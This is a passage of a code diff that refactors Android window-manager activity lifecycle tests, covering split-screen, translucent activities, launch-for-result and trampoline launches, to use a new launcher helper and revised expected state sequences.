-                mFirstActivityTestRule.launchActivity(new Intent());
-
-        // Wait for first activity to resume
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreenAndVerify(firstActivity);
 
         // Start an activity in separate task (will be placed in secondary stack)
-        final Activity newTaskActivity = mThirdActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
+        final Activity newTaskActivity = new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
-        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME),
-                state(firstActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Launch second activity, first become stopped
         getLifecycleLog().clear();
-        final Activity secondActivity =
-                mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
 
-        // Wait for second activity to pause and first to stop
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+        // Wait for second activity to resume and first to stop
         waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
 
         // Finish top activity
@@ -292,28 +286,21 @@
     @Test
     public void testResumedTranslucentWhenRestartedFromInNonFocusedStack() throws Exception {
         // Launch first activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
-
-        // Wait for first activity to resume
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Enter split screen
         moveTaskToPrimarySplitScreen(firstActivity.getTaskId(), true /* showSideActivity */);
 
         // Launch a translucent activity, first become paused
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
 
-        // Wait for translucent activity to resume and first to pause
-        waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
+        // Wait for first activity to pause
         waitAndAssertActivityStates(state(firstActivity, ON_PAUSE));
 
         // Start an activity in separate task (will be placed in secondary stack)
-        final Activity newTaskActivity = mThirdActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-
-        waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
+        new Launcher(ThirdActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
 
         getLifecycleLog().clear();
 
@@ -333,11 +320,9 @@
     @Test
     public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
         // Launch a singleTop activity
-        final Activity testActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+        launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Wait for the activity to resume
-        waitAndAssertActivityStates(state(testActivity, ON_TOP_POSITION_GAINED));
         LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
 
         // Enter split screen
@@ -353,8 +338,7 @@
         waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
         LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
-                        ON_RESUME, ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST),
-                "moveToSplitScreen");
+                        ON_RESUME), "moveToSplitScreen");
         LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
                 transition(CallbackTrackingActivity.class, ON_MULTI_WINDOW_MODE_CHANGED),
                 "moveToSplitScreen");
@@ -379,12 +363,10 @@
 
     @Test
     public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
-        // Launch a singleTop activity
-        final Activity testActivity =
-                mConfigChangeHandlingActivityTestRule.launchActivity(new Intent());
+        // Launch a test activity
+        launchActivityAndWait(ConfigChangeHandlingActivity.class);
 
         // Wait for the activity to resume
-        waitAndAssertActivityStates(state(testActivity, ON_TOP_POSITION_GAINED));
         LifecycleVerifier.assertLaunchSequence(ConfigChangeHandlingActivity.class,
                 getLifecycleLog());
 
@@ -395,9 +377,9 @@
 
         // Wait for the activity to receive the change
         waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST));
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
         LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED),
                 "moveToSplitScreen");
 
         // Exit split-screen
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index 1df98db..9bffdde 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -16,11 +16,16 @@
 
 package android.server.wm.lifecycle;
 
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.ActivityManagerState.STATE_PAUSED;
 import static android.server.wm.ActivityManagerState.STATE_STOPPED;
 import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESULT;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity.EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.NoDisplayActivity.EXTRA_LAUNCH_ACTIVITY;
+import static android.server.wm.lifecycle.ActivityLifecycleClientTestBase.NoDisplayActivity.EXTRA_NEW_TASK;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_CREATE;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_DESTROY;
@@ -34,12 +39,13 @@
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_GAINED;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.PRE_ON_CREATE;
+import static android.server.wm.lifecycle.LifecycleVerifier.transition;
 import static android.view.Surface.ROTATION_0;
 import static android.view.Surface.ROTATION_180;
 import static android.view.Surface.ROTATION_270;
 import static android.view.Surface.ROTATION_90;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.fail;
 
@@ -63,61 +69,54 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:ActivityLifecycleTests
  */
-@FlakyTest(bugId = 77652261)
 @MediumTest
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityLifecycleTests extends ActivityLifecycleClientTestBase {
 
     @Test
     public void testSingleLaunch() throws Exception {
-        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_RESUME));
+        launchActivityAndWait(FirstActivity.class);
 
         LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
     }
 
     @Test
     public void testLaunchOnTop() throws Exception {
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         getLifecycleLog().clear();
-        final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(occludedActivityState(firstActivity, secondActivity),
-                state(secondActivity, ON_RESUME));
+        launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(firstActivity, ON_STOP));
 
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
-                getLifecycleLog(), isTranslucent(secondActivity));
+                getLifecycleLog(), false /* launchIsTranslucent */);
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testLaunchTranslucentOnTop() throws Exception {
         // Launch fullscreen activity
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch translucent activity on top
         getLifecycleLog().clear();
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
-                state(translucentActivity, ON_RESUME));
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+        waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
         LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
                 getLifecycleLog(), true /* launchIsTranslucent */);
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testLaunchDoubleTranslucentOnTop() throws Exception {
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Launch translucent activity on top
         getLifecycleLog().clear();
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
-                state(translucentActivity, ON_RESUME));
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+        waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
         LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, FirstActivity.class,
                 getLifecycleLog(), true /* launchIsTranslucent */);
@@ -125,9 +124,9 @@
         // Launch another translucent activity on top
         getLifecycleLog().clear();
         final Activity secondTranslucentActivity =
-                mSecondTranslucentActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(translucentActivity, ON_PAUSE),
-                state(secondTranslucentActivity, ON_RESUME));
+                launchActivityAndWait(SecondTranslucentActivity.class);
+        waitAndAssertActivityStates(
+                occludedActivityState(translucentActivity, secondTranslucentActivity));
         LifecycleVerifier.assertSequence(TranslucentActivity.class, getLifecycleLog(),
                 Arrays.asList(ON_PAUSE), "launch");
         LifecycleVerifier.assertEmptySequence(FirstActivity.class, getLifecycleLog(), "launch");
@@ -148,12 +147,11 @@
     @Test
     public void testTranslucentMovedIntoStack() throws Exception {
         // Launch a translucent activity and a regular activity in separate stacks
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(
-                new Intent().setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK));
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
-                state(translucentActivity, ON_STOP));
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+        final Activity firstActivity = new Launcher(FirstActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
+                .launch();
+        waitAndAssertActivityStates(state(translucentActivity, ON_STOP));
 
         final ComponentName firstActivityName = getComponentName(FirstActivity.class);
         mAmWmState.computeState(firstActivityName);
@@ -175,15 +173,13 @@
     @Test
     public void testDestroyTopTranslucent() throws Exception {
         // Launch a regular activity and a a translucent activity in the same stack
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
-                state(translucentActivity, ON_RESUME));
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+        waitAndAssertActivityStates(occludedActivityState(firstActivity, translucentActivity));
 
         // Finish translucent activity
         getLifecycleLog().clear();
-        mTranslucentActivityTestRule.finishActivity();
+        translucentActivity.finish();
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
                 state(translucentActivity, ON_DESTROY));
@@ -198,21 +194,15 @@
     @Test
     public void testDestroyOnTopOfTranslucent() throws Exception {
         // Launch fullscreen activity
-        final Activity firstActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
-
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
         // Launch translucent activity
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
         // Launch another fullscreen activity
-        final Activity secondActivity =
-                mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
 
         // Wait for top activity to resume
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
-                occludedActivityState(translucentActivity, secondActivity),
-                occludedActivityState(firstActivity, secondActivity));
+        waitAndAssertActivityStates(state(translucentActivity, ON_STOP),
+                state(firstActivity, ON_STOP));
 
         getLifecycleLog().clear();
 
@@ -220,7 +210,7 @@
                 secondActivity.getWindow().getWindowStyle());
 
         // Finish top activity
-        mSecondActivityTestRule.finishActivity();
+        secondActivity.finish();
 
         waitAndAssertActivityStates(state(secondActivity, ON_DESTROY));
         LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
@@ -241,13 +231,12 @@
 
     @Test
     public void testDestroyDoubleTranslucentOnTop() throws Exception {
-        final Activity firstActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
+        final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
         final Activity secondTranslucentActivity =
-                mSecondTranslucentActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(firstActivity, ON_PAUSE),
-                state(translucentActivity, ON_PAUSE), state(secondTranslucentActivity, ON_RESUME));
+                launchActivityAndWait(SecondTranslucentActivity.class);
+        waitAndAssertActivityStates(occludedActivityState(firstActivity, secondTranslucentActivity),
+                occludedActivityState(translucentActivity, secondTranslucentActivity));
 
         // Finish top translucent activity
         getLifecycleLog().clear();
@@ -273,9 +262,89 @@
                 Arrays.asList(ON_RESUME), "secondDestroy");
     }
 
+    @FlakyTest(bugId=137329632)
     @Test
+    public void testFinishBottom() throws Exception {
+        final Activity bottomActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity topActivity = launchActivityAndWait(SecondActivity.class);
+        waitAndAssertActivityStates(state(bottomActivity, ON_STOP));
+
+        // Finish the activity on the bottom
+        getLifecycleLog().clear();
+        bottomActivity.finish();
+
+        // Assert that activity on the bottom went directly to destroyed state, and activity on top
+        // did not get any lifecycle changes.
+        waitAndAssertActivityStates(state(bottomActivity, ON_DESTROY));
+        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+                Arrays.asList(ON_DESTROY), "destroyOnBottom");
+        LifecycleVerifier.assertEmptySequence(SecondActivity.class, getLifecycleLog(),
+                "destroyOnBottom");
+    }
+
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishAndLaunchOnResult() throws Exception {
+        testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESULT);
+    }
+
+    @FlakyTest(bugId=137329632)
+    @Test
+    public void testFinishAndLaunchAfterOnResultInOnResume() throws Exception {
+        testLaunchForResultAndLaunchAfterResultSequence(EXTRA_LAUNCH_ON_RESUME_AFTER_RESULT);
+    }
+
+    /**
+     * This triggers launch of an activity for result, which immediately finishes. After receiving
+     * result new activity launch is triggered automatically.
+     * @see android.server.wm.lifecycle.ActivityLifecycleClientTestBase.LaunchForResultActivity
+     */
+    private void testLaunchForResultAndLaunchAfterResultSequence(String flag) throws Exception {
+        new Launcher(LaunchForResultActivity.class)
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+                .setExtraFlags(flag)
+                .setExpectedState(ON_STOP)
+                .setNoInstance()
+                .launch();
+
+        waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
+                state(ResultActivity.class, ON_DESTROY));
+        LifecycleVerifier.assertOrder(getLifecycleLog(), Arrays.asList(
+                // Base launching activity starting.
+                transition(LaunchForResultActivity.class, PRE_ON_CREATE),
+                transition(LaunchForResultActivity.class, ON_CREATE),
+                transition(LaunchForResultActivity.class, ON_START),
+                transition(LaunchForResultActivity.class, ON_POST_CREATE),
+                transition(LaunchForResultActivity.class, ON_RESUME),
+                transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
+                // An activity is automatically launched for result.
+                transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
+                transition(LaunchForResultActivity.class, ON_PAUSE),
+                transition(ResultActivity.class, PRE_ON_CREATE),
+                transition(ResultActivity.class, ON_CREATE),
+                transition(ResultActivity.class, ON_START),
+                transition(ResultActivity.class, ON_RESUME),
+                transition(ResultActivity.class, ON_TOP_POSITION_GAINED),
+                // Activity that was launched for result is finished automatically - the base
+                // launching activity is brought to front.
+                transition(LaunchForResultActivity.class, ON_ACTIVITY_RESULT),
+                transition(LaunchForResultActivity.class, ON_RESUME),
+                transition(LaunchForResultActivity.class, ON_TOP_POSITION_GAINED),
+                // New activity is launched after receiving result in base activity.
+                transition(LaunchForResultActivity.class, ON_TOP_POSITION_LOST),
+                transition(LaunchForResultActivity.class, ON_PAUSE),
+                transition(CallbackTrackingActivity.class, PRE_ON_CREATE),
+                transition(CallbackTrackingActivity.class, ON_CREATE),
+                transition(CallbackTrackingActivity.class, ON_START),
+                transition(CallbackTrackingActivity.class, ON_RESUME),
+                transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED)),
+                "launchForResultAndLaunchAfterOnResult");
+    }
+
+    @Test
+    @FlakyTest(bugId=127741025)
     public void testLaunchAndDestroy() throws Exception {
-        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
+        final Activity activity = launchActivityAndWait(FirstActivity.class);
 
         activity.finish();
         waitAndAssertActivityStates(state(activity, ON_DESTROY));
@@ -283,10 +352,99 @@
         LifecycleVerifier.assertLaunchAndDestroySequence(FirstActivity.class, getLifecycleLog());
     }
 
+    @FlakyTest(bugId = 139808754)
+    @Test
+    public void testTrampoline() throws Exception {
+        testTrampolineLifecycle(false /* newTask */);
+    }
+
+    @FlakyTest(bugId = 139808754)
+    @Test
+    public void testTrampolineNewTask() throws Exception {
+        testTrampolineLifecycle(true /* newTask */);
+    }
+
+    /**
+     * Verifies that activity start from a trampoline will have the correct lifecycle and complete
+     * in time. The expected lifecycle is that the trampoline will skip ON_START - ON_STOP part of
+     * the usual sequence, and will go straight to ON_DESTROY after creation.
+     */
+    private void testTrampolineLifecycle(boolean newTask) throws Exception {
+        // Run activity start manually (without using instrumentation) to make it async and measure
+        // time from the request correctly.
+        // TODO verify
+        final Launcher launcher = new Launcher(NoDisplayActivity.class)
+                .setFlags(FLAG_ACTIVITY_NEW_TASK)
+                .setExtraFlags(EXTRA_LAUNCH_ACTIVITY, EXTRA_FINISH_IN_ON_CREATE)
+                .setExpectedState(ON_DESTROY)
+                .setNoInstance();
+        if (newTask) {
+            launcher.setExtraFlags(EXTRA_NEW_TASK);
+        }
+        launcher.launch();
+        waitAndAssertActivityStates(state(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+
+        LifecycleVerifier.assertEntireSequence(Arrays.asList(
+                transition(NoDisplayActivity.class, PRE_ON_CREATE),
+                transition(NoDisplayActivity.class, ON_CREATE),
+                transition(CallbackTrackingActivity.class, PRE_ON_CREATE),
+                transition(CallbackTrackingActivity.class, ON_CREATE),
+                transition(CallbackTrackingActivity.class, ON_START),
+                transition(CallbackTrackingActivity.class, ON_POST_CREATE),
+                transition(CallbackTrackingActivity.class, ON_RESUME),
+                transition(CallbackTrackingActivity.class, ON_TOP_POSITION_GAINED),
+                transition(NoDisplayActivity.class, ON_DESTROY)),
+                getLifecycleLog(), "trampolineLaunch");
+    }
+
+    /** @see #testTrampolineWithAnotherProcess */
+    @Test
+    public void testTrampolineAnotherProcessNewTask() {
+        testTrampolineWithAnotherProcess();
+    }
+
+    /**
+     * Same as {@link #testTrampolineAnotherProcessNewTask()}, but with a living second process.
+     */
+    @Test
+    @FlakyTest(bugId=127741025)
+    public void testTrampolineAnotherExistingProcessNewTask() {
+        // Start the second process before running the test. It is to make a specific path that the
+        // the activity may be started when checking visibility instead of attaching its process.
+        mContext.startActivity(new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        waitAndAssertActivityStates(
+                state(SecondProcessCallbackTrackingActivity.class, ON_TOP_POSITION_GAINED));
+        getLifecycleLog().clear();
+
+        testTrampolineWithAnotherProcess();
+    }
+
+    /**
+     * Simulates X starts Y in the same task, and Y starts Z in another task then finishes itself:
+     * <pre>
+     * Top Task B: SecondProcessCallbackTrackingActivity (Z)
+     *     Task A: SecondProcessCallbackTrackingActivity (Y) (finishing)
+     *             FirstActivity (X)
+     * </pre>
+     * Expect Y to become invisible and then destroyed when the transition is done.
+     */
+    private void testTrampolineWithAnotherProcess() {
+        // Use another process so its lifecycle won't be affected by the caller activity.
+        final Intent intent2 = new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+                .addFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK);
+        final Intent intent1 = new Intent(mContext, SecondProcessCallbackTrackingActivity.class)
+                .putExtra(EXTRA_START_ACTIVITY_IN_ON_CREATE, intent2)
+                .putExtra(EXTRA_FINISH_IN_ON_CREATE, true);
+        mContext.startActivity(new Intent(mContext, FirstActivity.class)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .putExtra(EXTRA_START_ACTIVITY_WHEN_IDLE, intent1));
+        waitAndAssertActivityStates(state(SecondProcessCallbackTrackingActivity.class, ON_DESTROY));
+    }
+
     @Test
     public void testRelaunchResumed() throws Exception {
-        final Activity activity = mFirstActivityTestRule.launchActivity(new Intent());
-        waitAndAssertActivityStates(state(activity, ON_RESUME));
+        final Activity activity = launchActivityAndWait(FirstActivity.class);
 
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(activity::recreate);
@@ -297,12 +455,10 @@
 
     @Test
     public void testRelaunchPaused() throws Exception {
-        final Activity pausedActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        final Activity topTranslucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
+        final Activity pausedActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
 
-        waitAndAssertActivityStates(state(pausedActivity, ON_PAUSE),
-                state(topTranslucentActivity, ON_RESUME));
+        waitAndAssertActivityStates(occludedActivityState(pausedActivity, translucentActivity));
 
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(pausedActivity::recreate);
@@ -313,18 +469,17 @@
 
     @Test
     public void testRelaunchStopped() throws Exception {
-        final Activity stoppedActivity = mFirstActivityTestRule.launchActivity(new Intent());
-        final Activity topActivity = mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity stoppedActivity = launchActivityAndWait(FirstActivity.class);
+        launchActivityAndWait(SecondActivity.class);
 
-        waitAndAssertActivityStates(
-                occludedActivityState(stoppedActivity, topActivity), state(topActivity, ON_RESUME));
+        waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
 
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(stoppedActivity::recreate);
-        waitAndAssertActivityStates(occludedActivityState(stoppedActivity, topActivity));
+        waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
 
         LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(),
-                occludedActivityState(isTranslucent(topActivity)));
+                ON_STOP);
     }
 
     @Test
@@ -334,16 +489,13 @@
             return;
         }
 
-        final Activity becomingVisibleActivity =
-                mFirstActivityTestRule.launchActivity(new Intent());
-        final Activity translucentActivity =
-                mTranslucentActivityTestRule.launchActivity(new Intent());
-        final Activity topOpaqueActivity = mSecondActivityTestRule.launchActivity(new Intent());
+        final Activity becomingVisibleActivity = launchActivityAndWait(FirstActivity.class);
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
+        final Activity topOpaqueActivity = launchActivityAndWait(SecondActivity.class);
 
         waitAndAssertActivityStates(
-                occludedActivityState(becomingVisibleActivity, topOpaqueActivity),
-                occludedActivityState(translucentActivity, topOpaqueActivity),
-                state(topOpaqueActivity, ON_RESUME));
+                state(becomingVisibleActivity, ON_STOP),
+                state(translucentActivity, ON_STOP));
 
         try (final RotationSession rotationSession = new RotationSession()) {
             if (!supportsLockedUserRotation(
@@ -375,7 +527,7 @@
 
             // Finish the top activity
             getLifecycleLog().clear();
-            mSecondActivityTestRule.finishActivity();
+            topOpaqueActivity.finish();
 
             // Assert that the translucent activity and the activity visible behind it were
             // relaunched.
@@ -393,10 +545,11 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testOnActivityResult() throws Exception {
-        final Intent intent = new Intent();
-        intent.putExtra(EXTRA_FINISH_IN_ON_RESUME, true);
-        mLaunchForResultActivityTestRule.launchActivity(intent);
+        new Launcher(LaunchForResultActivity.class)
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_IN_ON_RESUME))
+                .launch();
 
         final List<LifecycleLog.ActivityCallback> expectedSequence =
                 Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
@@ -427,11 +580,12 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testOnActivityResultAfterStop() throws Exception {
-        final Intent intent = new Intent();
-        intent.putExtra(EXTRA_FINISH_AFTER_RESUME, true);
-        mLaunchForResultActivityTestRule.launchActivity(intent);
-        final boolean isTranslucent = isTranslucent(mLaunchForResultActivityTestRule.getActivity());
+        final Activity activity = new Launcher(LaunchForResultActivity.class)
+                .customizeIntent(LaunchForResultActivity.forwardFlag(EXTRA_FINISH_AFTER_RESUME))
+                .launch();
+        final boolean isTranslucent = isTranslucent(activity);
 
         final List<List<LifecycleLog.ActivityCallback>> expectedSequences;
         if (isTranslucent) {
@@ -459,25 +613,8 @@
     }
 
     @Test
-    public void testOnPostCreateAfterCreate() throws Exception {
-        final Activity callbackTrackingActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_TOP_POSITION_GAINED));
-
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
-                        ON_TOP_POSITION_GAINED),"create");
-    }
-
-    @Test
     public void testOnPostCreateAfterRecreateInOnResume() throws Exception {
-        // Launch activity
-        final Activity trackingActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        // Wait for activity to resume
-        waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
+        final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Call "recreate" and assert sequence
         getLifecycleLog().clear();
@@ -492,24 +629,20 @@
     }
 
     @Test
+    @FlakyTest(bugId=127741025)
     public void testOnPostCreateAfterRecreateInOnPause() throws Exception {
-        // Launch activity
-        final Activity trackingActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        // Wait for activity to resume
-        waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
+        final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
 
         // Launch translucent activity, which will make the first one paused.
-        mTranslucentActivityTestRule.launchActivity(new Intent());
+        final Activity translucentActivity = launchActivityAndWait(TranslucentActivity.class);
 
         // Wait for first activity to become paused
-        waitAndAssertActivityStates(state(trackingActivity, ON_PAUSE));
+        waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
 
         // Call "recreate" and assert sequence
         getLifecycleLog().clear();
         getInstrumentation().runOnMainSync(trackingActivity::recreate);
-        waitAndAssertActivityStates(state(trackingActivity, ON_PAUSE));
+        waitAndAssertActivityStates(occludedActivityState(trackingActivity, translucentActivity));
 
         LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
                 getLifecycleLog(),
@@ -521,26 +654,16 @@
     @Test
     public void testOnPostCreateAfterRecreateInOnStop() throws Exception {
         // Launch first activity
-        final Activity trackingActivity =
-                mCallbackTrackingActivityTestRule.launchActivity(new Intent());
-
-        // Wait for activity to resume
-        waitAndAssertActivityStates(state(trackingActivity, ON_TOP_POSITION_GAINED));
-
+        final Activity trackingActivity = launchActivityAndWait(CallbackTrackingActivity.class);
         // Launch second activity to cover and stop first
-        final Activity secondActivity =
-                mSecondActivityTestRule.launchActivity(new Intent());
-
